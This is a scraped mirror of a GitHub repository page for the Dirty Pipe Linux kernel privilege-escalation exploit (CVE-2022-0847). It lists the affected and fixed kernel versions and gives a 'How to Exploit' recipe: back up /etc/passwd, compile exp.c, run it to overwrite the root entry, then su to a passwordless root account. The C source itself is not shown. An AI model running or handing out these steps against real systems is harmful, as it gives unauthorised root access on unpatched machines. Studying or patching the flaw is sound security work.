Al1ex / CVE-2022-0847

CVE-2022-0847

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Information

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <max.kellermann@ionos.com>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

How to Exploit

Test Environment:

env

Local Privilege Escalation

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

exp

Reference

https://dirtypipe.cm4all.com/

Timeline

About

CVE-2022-0847


Languages

Language:C 100.0%